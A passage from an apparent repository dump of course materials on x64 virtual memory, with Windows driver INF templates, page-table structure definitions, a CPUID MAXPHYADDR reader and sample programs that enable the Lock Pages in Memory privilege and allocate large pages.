"_05_01_Walk Installation Disk" 76 | _05_01_Walk.DeviceDesc = "_05_01_Walk Device" 77 | _05_01_Walk.SVCDESC = "_05_01_Walk Service" 78 | -------------------------------------------------------------------------------- /05.01.Walk/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/05.01.Walk/main.c -------------------------------------------------------------------------------- /05.01.Walk/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | -------------------------------------------------------------------------------- /05.01.Walk/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /05.01.Walk/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef union _CR3 5 | { 6 | UINT64 Value; 7 | struct 8 | { 9 | UINT64 Ignored1 : 3; 10 | UINT64 PWT : 1; 11 | UINT64 PCD : 1; 12 | UINT64 Ignored2 : 7; 13 | UINT64 PPN : 40; 14 | UINT64 Reserved1 : 12; 15 | } Fields; 16 | } CR3, *PCR3; 17 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 18 | 19 | typedef union _PA 20 | { 21 | UINT64 Value; 22 | LARGE_INTEGER AsLargeInteger; 23 | struct 24 | { 25 | UINT64 PPO : 12; 26 | UINT64 PPN : 40; 27 | UINT64 Reserved1 : 12; 28 | } Fields4KB; 29 | struct 30 | { 31 | UINT64 PPO : 21; 32 | UINT64 PPN : 31; 33 | UINT64 Reserved1 : 12; 34 | } Fields2MB; 35 | struct 36 | { 37 | UINT64 PPO : 30; 38 | UINT64 PPN : 22; 39 | UINT64 Reserved1 : 12; 40 | } Fields1GB; 41 | } PA, *PPA; 42 | 43 | typedef union _L1PTE 44 | { 45 | UINT64 Value; 46 | struct 47 | { 48 | UINT64 P : 1; 49 | UINT64 R_W : 1; 50 | UINT64 U_S : 1; 51 | UINT64 PWT : 1; 52 | UINT64 PCD : 1; 53 | UINT64 A : 1; 54 | UINT64 Ingored1 : 1; 55 | UINT64 Reserved1 : 1; 56 | UINT64 Ignored2 : 3; 57 | UINT64 R : 1; 58 | UINT64 PPN : 40; 59 | UINT64 Ignored3 : 11; 60 | UINT64 XD : 1; 61 | } Fields; 62 | } L1PTE, * PL1PTE; 63 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 64 | 65 | typedef union _L2PTE 66 | { 67 | UINT64 Value; 68 | struct 69 | { 70 | UINT64 P : 1; 71 | UINT64 R_W : 1; 72 | UINT64 U_S : 1; 73 | UINT64 PWT : 1; 74 | UINT64 PCD : 1; 75 | UINT64 A : 1; 76 | UINT64 D : 1; 77 | UINT64 PS : 1; 78 | UINT64 G : 1; 79 | UINT64 Ignored1 : 2; 80 | UINT64 R : 1; 81 | UINT64 PAT : 1; 82 | UINT64 Reserved1 : 17; 83 | UINT64 PPN : 22; 84 | UINT64 Ignored2 : 7; 85 | UINT64 ProtKey : 4; 86 | UINT64 XD : 1; 87 | } Fields1GB; 88 | struct 89 | { 90 | UINT64 P : 1; 91 | UINT64 R_W : 1; 92 | UINT64 U_S : 1; 93 | UINT64 PWT : 1; 94 | UINT64 PCD : 1; 95 | UINT64 A : 1; 96 | UINT64 Ignored1 : 1; 97 | UINT64 PS : 1; 98 | UINT64 Ignored2 : 3; 99 | UINT64 R : 1; 100 | UINT64 PPN : 40; 101 | UINT64 Ignored3 : 11; 102 | UINT64 XD : 1; 103 | } Fields; 104 | } L2PTE, * PL2PTE; 105 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 106 | 107 | typedef union _L3PTE 108 | { 109 | UINT64 Value; 110 | struct 111 | { 112 | UINT64 P : 1; 113 | UINT64 R_W : 1; 114 | UINT64 U_S : 1; 115 | UINT64 PWT : 1; 116 | UINT64 PCD : 1; 117 | UINT64 A : 1; 118 | UINT64 D : 1; 119 | UINT64 PS : 1; 120 | UINT64 G : 1; 121 | UINT64 Ignored1 : 2; 122 | UINT64 R : 1; 123 | UINT64 PAT : 1; 124 | UINT64 Reserved1 : 8; 125 | UINT64 PPN : 31; 126 | UINT64 Ignored2 : 7; 127 | UINT64 ProtKey : 4; 128 | UINT64 XD : 1; 129 | } Fields2MB; 130 | struct 131 | { 132 | UINT64 P : 1; 133 | UINT64 R_W : 1; 134 | UINT64 U_S : 1; 135 | UINT64 PWT : 1; 136 | UINT64 PCD : 1; 137 | UINT64 A : 1; 138 | UINT64 Ingored1 : 1; 139 | UINT64 PS : 1; 140 | UINT64 Ignored2 : 3; 141 | UINT64 R : 1; 142 | UINT64 PPN : 40; 143 | UINT64 Ignored3 : 11; 144 | UINT64 XD : 1; 145 | } Fields; 146 | } L3PTE, * PL3PTE; 147 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 148 | 149 | typedef union _L4PTE 150 | { 151 | UINT64 Value; 152 | struct 153 | { 154 | UINT64 P : 1; 155 | UINT64 R_W : 1; 156 | UINT64 U_S : 1; 157 | UINT64 PWT : 1; 158 | UINT64 PCD : 1; 159 | UINT64 A : 1; 160 | UINT64 D : 1; 161 | UINT64 PAT : 1; 162 | UINT64 G : 1; 163 | UINT64 Ignored1 : 2; 164 | UINT64 R : 1; 165 | UINT64 PPN : 40; 166 | UINT64 Ignored2 : 7; 167 | UINT64 ProtKey : 4; 168 | UINT64 XD : 1; 169 | } Fields; 170 | } L4PTE, * PL4PTE; 171 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 172 | -------------------------------------------------------------------------------- /05.02.WalkVisualization/05.02.WalkVisualization.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /05.02.WalkVisualization/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _05_02_WalkVisualization.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_05_02_WalkVisualization.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _05_02_WalkVisualization_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 05.02.WalkVisualization.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_05_02_WalkVisualization.DeviceDesc%=_05_02_WalkVisualization_Device, Root\_05_02_WalkVisualization ; TODO: edit hw-id 34 | 35 | [_05_02_WalkVisualization_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 05.02.WalkVisualization.sys 40 | 41 | ;-------------- Service installation 42 | [_05_02_WalkVisualization_Device.NT.Services] 43 | AddService = _05_02_WalkVisualization,%SPSVCINST_ASSOCSERVICE%, _05_02_WalkVisualization_Service_Inst 44 | 45 | ; -------------- _05_02_WalkVisualization driver install sections 46 | [_05_02_WalkVisualization_Service_Inst] 47 | DisplayName = %_05_02_WalkVisualization.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_05_02_WalkVisualization.sys 52 | 53 | ; 54 | ;--- _05_02_WalkVisualization_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_05_02_WalkVisualization_Device.NT.CoInstallers] 58 | AddReg=_05_02_WalkVisualization_Device_CoInstaller_AddReg 59 | CopyFiles=_05_02_WalkVisualization_Device_CoInstaller_CopyFiles 60 | 61 | [_05_02_WalkVisualization_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_05_02_WalkVisualization_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_05_02_WalkVisualization_Device.NT.Wdf] 68 | KmdfService = _05_02_WalkVisualization, _05_02_WalkVisualization_wdfsect 69 | [_05_02_WalkVisualization_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_05_02_WalkVisualization Installation Disk" 76 | _05_02_WalkVisualization.DeviceDesc = "_05_02_WalkVisualization Device" 77 | _05_02_WalkVisualization.SVCDESC = "_05_02_WalkVisualization Service" 78 | -------------------------------------------------------------------------------- /05.02.WalkVisualization/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/05.02.WalkVisualization/main.c -------------------------------------------------------------------------------- /05.02.WalkVisualization/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | -------------------------------------------------------------------------------- /05.02.WalkVisualization/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /05.02.WalkVisualization/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef union _CR3 5 | { 6 | UINT64 Value; 7 | struct 8 | { 9 | UINT64 Ignored1 : 3; 10 | UINT64 PWT : 1; 11 | UINT64 PCD : 1; 12 | UINT64 Ignored2 : 7; 13 | UINT64 PPN : 40; 14 | UINT64 Reserved1 : 12; 15 | } Fields; 16 | } CR3, * PCR3; 17 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 18 | 19 | typedef union _PA 20 | { 21 | UINT64 Value; 22 | LARGE_INTEGER AsLargeInteger; 23 | struct 24 | { 25 | UINT64 PPO : 12; 26 | UINT64 PPN : 40; 27 | UINT64 Reserved1 : 12; 28 | } Fields4KB; 29 | struct 30 | { 31 | UINT64 PPO : 21; 32 | UINT64 PPN : 31; 33 | UINT64 Reserved1 : 12; 34 | } Fields2MB; 35 | struct 36 | { 37 | UINT64 PPO : 30; 38 | UINT64 PPN : 22; 39 | UINT64 Reserved1 : 12; 40 | } Fields1GB; 41 | } PA, * PPA; 42 | 43 | typedef union _L1PTE 44 | { 45 | UINT64 Value; 46 | struct 47 | { 48 | UINT64 P : 1; 49 | UINT64 R_W : 1; 50 | UINT64 U_S : 1; 51 | UINT64 PWT : 1; 52 | UINT64 PCD : 1; 53 | UINT64 A : 1; 54 | UINT64 Ingored1 : 1; 55 | UINT64 Reserved1 : 1; 56 | UINT64 Ignored2 : 3; 57 | UINT64 R : 1; 58 | UINT64 PPN : 40; 59 | UINT64 Ignored3 : 11; 60 | UINT64 XD : 1; 61 | } Fields; 62 | } L1PTE, * PL1PTE; 63 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 64 | 65 | typedef union _L2PTE 66 | { 67 | UINT64 Value; 68 | struct 69 | { 70 | UINT64 P : 1; 71 | UINT64 R_W : 1; 72 | UINT64 U_S : 1; 73 | UINT64 PWT : 1; 74 | UINT64 PCD : 1; 75 | UINT64 A : 1; 76 | UINT64 D : 1; 77 | UINT64 PS : 1; 78 | UINT64 G : 1; 79 | UINT64 Ignored1 : 2; 80 | UINT64 R : 1; 81 | UINT64 PAT : 1; 82 | UINT64 Reserved1 : 17; 83 | UINT64 PPN : 22; 84 | UINT64 Ignored2 : 7; 85 | UINT64 ProtKey : 4; 86 | UINT64 XD : 1; 87 | } Fields1GB; 88 | struct 89 | { 90 | UINT64 P : 1; 91 | UINT64 R_W : 1; 92 | UINT64 U_S : 1; 93 | UINT64 PWT : 1; 94 | UINT64 PCD : 1; 95 | UINT64 A : 1; 96 | UINT64 Ignored1 : 1; 97 | UINT64 PS : 1; 98 | UINT64 Ignored2 : 3; 99 | UINT64 R : 1; 100 | UINT64 PPN : 40; 101 | UINT64 Ignored3 : 11; 102 | UINT64 XD : 1; 103 | } Fields; 104 | } L2PTE, * PL2PTE; 105 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 106 | 107 | typedef union _L3PTE 108 | { 109 | UINT64 Value; 110 | struct 111 | { 112 | UINT64 P : 1; 113 | UINT64 R_W : 1; 114 | UINT64 U_S : 1; 115 | UINT64 PWT : 1; 116 | UINT64 PCD : 1; 117 | UINT64 A : 1; 118 | UINT64 D : 1; 119 | UINT64 PS : 1; 120 | UINT64 G : 1; 121 | UINT64 Ignored1 : 2; 122 | UINT64 R : 1; 123 | UINT64 PAT : 1; 124 | UINT64 Reserved1 : 8; 125 | UINT64 PPN : 31; 126 | UINT64 Ignored2 : 7; 127 | UINT64 ProtKey : 4; 128 | UINT64 XD : 1; 129 | } Fields2MB; 130 | struct 131 | { 132 | UINT64 P : 1; 133 | UINT64 R_W : 1; 134 | UINT64 U_S : 1; 135 | UINT64 PWT : 1; 136 | UINT64 PCD : 1; 137 | UINT64 A : 1; 138 | UINT64 Ingored1 : 1; 139 | UINT64 PS : 1; 140 | UINT64 Ignored2 : 3; 141 | UINT64 R : 1; 142 | UINT64 PPN : 40; 143 | UINT64 Ignored3 : 11; 144 | UINT64 XD : 1; 145 | } Fields; 146 | } L3PTE, * PL3PTE; 147 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 148 | 149 | typedef union _L4PTE 150 | { 151 | UINT64 Value; 152 | struct 153 | { 154 | UINT64 P : 1; 155 | UINT64 R_W : 1; 156 | UINT64 U_S : 1; 157 | UINT64 PWT : 1; 158 | UINT64 PCD : 1; 159 | UINT64 A : 1; 160 | UINT64 D : 1; 161 | UINT64 PAT : 1; 162 | UINT64 G : 1; 163 | UINT64 Ignored1 : 2; 164 | UINT64 R : 1; 165 | UINT64 PPN : 40; 166 | UINT64 Ignored2 : 7; 167 | UINT64 ProtKey : 4; 168 | UINT64 XD : 1; 169 | } Fields; 170 | } L4PTE, * PL4PTE; 171 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 172 | -------------------------------------------------------------------------------- /05.03.MAXPHYADDR/05.03.MAXPHYADDR.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /05.03.MAXPHYADDR/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | unsigned cpuInfo[4] = { 0 }; 7 | __cpuid(cpuInfo, 0x80000008); 8 | 9 | unsigned eax = cpuInfo[0]; 10 | printf("MAXPHYADDR=%u\n", eax & 0xff); 11 | return 0; 12 | } -------------------------------------------------------------------------------- /06.01.EnableLockPagesInMemory/06.01.EnableLockPagesInMemory.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /06.01.EnableLockPagesInMemory/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | BOOL 6 | InitLsaString(PLSA_UNICODE_STRING LsaString, LPCWSTR String) 7 | { 8 | size_t Length = 0; 9 | 10 | if (NULL == LsaString) return FALSE; 11 | 12 | if (NULL != LsaString) 13 | { 14 | Length = wcslen(String); 15 | if (Length > 0x7ffe) return FALSE; 16 | } 17 | 18 | LsaString->Buffer = (WCHAR*)String; 19 | LsaString->Length = (USHORT)Length * sizeof(WCHAR); 20 | LsaString->MaximumLength = (USHORT)(Length + 1) * sizeof(WCHAR); 21 | 22 | return TRUE; 23 | } 24 | 25 | BOOL 26 | AllocTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, PVOID* TokenInformation) 27 | { 28 | PVOID Buffer = NULL; 29 | DWORD BufferSize = 4096; 30 | do 31 | { 32 | Buffer = malloc(BufferSize); 33 | if (GetTokenInformation(TokenHandle, TokenInformationClass, Buffer, BufferSize, &BufferSize)) 34 | { 35 | *TokenInformation = Buffer; 36 | return TRUE; 37 | } 38 | 39 | DWORD LastError = GetLastError(); 40 | free(Buffer); 41 | if (LastError != ERROR_INSUFFICIENT_BUFFER) 42 | { 43 | SetLastError(LastError); 44 | return FALSE; 45 | } 46 | } while (TRUE); 47 | } 48 | 49 | NTSTATUS 50 | OpenLocalSystemPolicy(DWORD DesiredAccess, PLSA_HANDLE PolicyHandle) 51 | { 52 | LSA_OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; 53 | return LsaOpenPolicy(NULL, &ObjectAttributes, DesiredAccess, PolicyHandle); 54 | } 55 | 56 | NTSTATUS 57 | AddAccountRight(LSA_HANDLE PolicyHandle, PSID AccountSid, PCWSTR UserRightName) 58 | { 59 | LSA_UNICODE_STRING UserRight; 60 | if (!InitLsaString(&UserRight, UserRightName)) return STATUS_INVALID_PARAMETER; 61 | 62 | return LsaAddAccountRights(PolicyHandle, AccountSid, &UserRight, 1); 63 | } 64 | 65 | int 66 | main() 67 | { 68 | HANDLE TokenHandle; 69 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) 70 | { 71 | printf("OpenProcessToken failed. LastError=%d\n", GetLastError()); 72 | system("pause"); 73 | return -1; 74 | } 75 | 76 | PTOKEN_USER TokenInformation = NULL; 77 | if (!AllocTokenInformation(TokenHandle, TokenUser, &TokenInformation)) 78 | { 79 | printf("AllocTokenInformation failed. LastError=%d\n", GetLastError()); 80 | CloseHandle(TokenHandle); 81 | system("pause"); 82 | return -1; 83 | } 84 | 85 | CloseHandle(TokenHandle); 86 | 87 | NTSTATUS Status; 88 | LSA_HANDLE PolicyHandle = NULL; 89 | Status = OpenLocalSystemPolicy(POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES, &PolicyHandle); 90 | if (Status < 0) 91 | { 92 | printf("OpenLocalSystemPolicy failed. Status=0x%08X\n", Status); 93 | free(TokenInformation); 94 | system("pause"); 95 | return -1; 96 | } 97 | 98 | Status = AddAccountRight(PolicyHandle, TokenInformation->User.Sid, SE_LOCK_MEMORY_NAME); 99 | if (Status < 0) 100 | { 101 | printf("AddAccountRight failed. Status=0x%08X\n", Status); 102 | CloseHandle(PolicyHandle); 103 | free(TokenInformation); 104 | system("pause"); 105 | return -1; 106 | } 107 | 108 | CloseHandle(PolicyHandle); 109 | free(TokenInformation); 110 | printf("Enable Lock Pages in Memory Option OK!\n"); 111 | system("pause"); 112 | } 113 | -------------------------------------------------------------------------------- /06.02.Sample/06.02.Sample.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 26 | 27 | 头文件 28 | 29 | 30 | -------------------------------------------------------------------------------- /06.02.Sample/largepage.c: -------------------------------------------------------------------------------- 1 | #include "largepage.h" 2 | #include 3 | 4 | BOOL 5 | EnableLargePage() 6 | { 7 | DWORD LastError; 8 | 9 | HANDLE TokenHandle; 10 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &TokenHandle)) 11 | { 12 | return FALSE; 13 | } 14 | 15 | TOKEN_PRIVILEGES TokenPrivileges = { 16 | .PrivilegeCount = 1, 17 | .Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 18 | }; 19 | 20 | if (!LookupPrivilegeValue(NULL, SE_LOCK_MEMORY_NAME, &TokenPrivileges.Privileges[0].Luid)) 21 | { 22 | LastError = GetLastError(); 23 | CloseHandle(TokenHandle); 24 | SetLastError(LastError); 25 | return FALSE; 26 | } 27 | 28 | if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, 0, NULL, 0)) 29 | { 30 | LastError = GetLastError(); 31 | CloseHandle(TokenHandle); 32 | SetLastError(LastError); 33 | return FALSE; 34 | } 35 | 36 | 37 | CloseHandle(TokenHandle); 38 | return TRUE; 39 | } 40 | 41 | PVOID 42 | AllocPage2MB() 43 | { 44 | return VirtualAlloc(NULL, 2ULL * 1024 * 1024, MEM_RESERVE | MEM_COMMIT | MEM_LARGE_PAGES, PAGE_READWRITE); 45 | } 46 | 47 | PVOID 48 | AllocPage1GB() 49 | { 50 | return VirtualAlloc(NULL, 1ULL * 1024 * 1024 * 1024, MEM_RESERVE | MEM_COMMIT | MEM_LARGE_PAGES, PAGE_READWRITE); 51 | } 52 | 53 | PVOID 54 | AllocPage4KB() 55 | { 56 | return VirtualAlloc(NULL, 4ULL * 1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 57 | } 58 | -------------------------------------------------------------------------------- /06.02.Sample/largepage.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | BOOL 5 | EnableLargePage(); 6 | 7 | PVOID 8 | AllocPage2MB(); 9 | 10 | PVOID 11 | AllocPage1GB(); 12 | 13 | PVOID 14 | AllocPage4KB(); 15 | -------------------------------------------------------------------------------- /06.02.Sample/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "largepage.h" 5 | 6 | int 7 | main() 8 | { 9 | if (!EnableLargePage()) 10 | { 11 | printf("EnableLargePage failed. LastError=%d\n", GetLastError()); 12 | system("pause"); 13 | return -1; 14 | } 15 | 16 | char* Mem1 = AllocPage1GB(); 17 | char* Mem2 = AllocPage2MB(); 18 | char* Mem3 = AllocPage4KB(); 19 | 20 | if (!Mem1) { 21 | printf("Allocate Mem1 failed\n"); 22 | system("pause"); 23 | return -1; 24 | } 25 | if (!Mem2) { 26 | printf("Allocate Mem2 failed\n"); 27 | system("pause"); 28 | return -1; 29 | } 30 | if (!Mem3) { 31 | printf("Allocate Mem3 failed\n"); 32 | system("pause"); 33 | return -1; 34 | } 35 | 36 | char* Str1 = Mem1 + 0x3bc; 37 | char* Str2 = Mem2 + 0x2a; 38 | char* Str3 = Mem3 + 0x10; 39 | strcpy(Str1, "Str1"); 40 | strcpy(Str2, "Str2"); 41 | strcpy(Str3, "Str3"); 42 | 43 | for (;;) 44 | { 45 | printf("0x%p `%s`\n0x%p `%s`\n0x%p `%s`\n\n" 46 | , Str1, Str1 47 | , Str2, Str2 48 | , Str3, Str3 49 | ); 50 | system("pause>nul"); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /06.03.DumpPageTable/06.03.DumpPageTable.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /06.03.DumpPageTable/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _06_03_DumpPageTable.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_06_03_DumpPageTable.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _06_03_DumpPageTable_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 06.03.DumpPageTable.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_06_03_DumpPageTable.DeviceDesc%=_06_03_DumpPageTable_Device, Root\_06_03_DumpPageTable ; TODO: edit hw-id 34 | 35 | [_06_03_DumpPageTable_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 06.03.DumpPageTable.sys 40 | 41 | ;-------------- Service installation 42 | [_06_03_DumpPageTable_Device.NT.Services] 43 | AddService = _06_03_DumpPageTable,%SPSVCINST_ASSOCSERVICE%, _06_03_DumpPageTable_Service_Inst 44 | 45 | ; -------------- _06_03_DumpPageTable driver install sections 46 | [_06_03_DumpPageTable_Service_Inst] 47 | DisplayName = %_06_03_DumpPageTable.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_06_03_DumpPageTable.sys 52 | 53 | ; 54 | ;--- _06_03_DumpPageTable_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_06_03_DumpPageTable_Device.NT.CoInstallers] 58 | AddReg=_06_03_DumpPageTable_Device_CoInstaller_AddReg 59 | CopyFiles=_06_03_DumpPageTable_Device_CoInstaller_CopyFiles 60 | 61 | [_06_03_DumpPageTable_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_06_03_DumpPageTable_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_06_03_DumpPageTable_Device.NT.Wdf] 68 | KmdfService = _06_03_DumpPageTable, _06_03_DumpPageTable_wdfsect 69 | [_06_03_DumpPageTable_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_06_03_DumpPageTable Installation Disk" 76 | _06_03_DumpPageTable.DeviceDesc = "_06_03_DumpPageTable Device" 77 | _06_03_DumpPageTable.SVCDESC = "_06_03_DumpPageTable Service" 78 | -------------------------------------------------------------------------------- /06.03.DumpPageTable/main.c: -------------------------------------------------------------------------------- 